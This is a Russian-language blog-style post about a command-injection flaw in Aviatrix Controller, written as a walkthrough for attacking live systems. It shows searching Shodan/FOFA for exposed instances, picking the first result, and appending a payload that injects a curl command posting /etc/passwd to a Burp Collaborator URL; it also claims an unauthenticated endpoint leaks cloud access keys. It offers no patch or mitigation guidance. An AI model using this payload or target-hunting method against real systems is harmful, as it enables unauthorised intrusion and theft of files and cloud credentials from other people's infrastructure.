Критическая уязвимость сервиса Aviatrix Controller

Всем привет, решил в первый раз написать свою собственную статью. Сегодня хочу рассказать об интересной уязвимости в Aviatrix Controller — популярном инструменте для управления облачными сетями.

Кратко расскажу что это за сервис: Aviatrix Controller используется для оркестрации(процесс координации и управления различными компонентами автоматизации) сетей в AWS, Azure, GCP и других облаках. Он упрощает настройку VPN, межоблачных соединений и безопасности.
Теперь о самой уязвимости -  в версиях Aviatrix Controller 7.1.4191 и 7.2.x есть эндпоинт /api/v1/system, который по умолчанию не требует аутентификации. Через него можно получить данные о системе, включая токены доступа к облачным провайдерам (например, AWS IAM keys)

Разберу на конкретном примере. Для поиска уязвимой версии можно использовать Shodan/FOFA, для этого введем запрос title:"Aviatrix Controller"

Не удалось прогрузить медиа

Для примера используем первый попавшейся результат, переходит на страницу авторизации:

Не удалось прогрузить медиа

В url запросе меняем /#/login  на /v1/api и получаем такой ответ :

Не удалось прогрузить медиа

Далее запускаем утилиту Burp Suite, включаем прокси и переходим по url запросу:

Не удалось прогрузить медиа

После этого в конец запроса вставляем такой пэйлоуд: action=list_flightpath_destination_instances&CID=anything_goes_here&account_name=1&region=1&vpc_id_name=1&cloud_type=1|$(curl+-X+POST+-d+"@/etc/passwd"+https://colabolator-payload) где https://colabolator-payload ссылка на collabarator бурпа для того чтобы его получить заходим во вкладку Collaborator и нажимаем Copy to clipboard, у вас скопируется ссылка автоматически

Не удалось прогрузить медиа

далее просто вставляете ее и получаете вот такой вот ответ от сервера:

Не удалось прогрузить медиа

Вот такая вот короткая статья вышла, если вам зашла такая тема, то в будущем могу написать пару подобных статей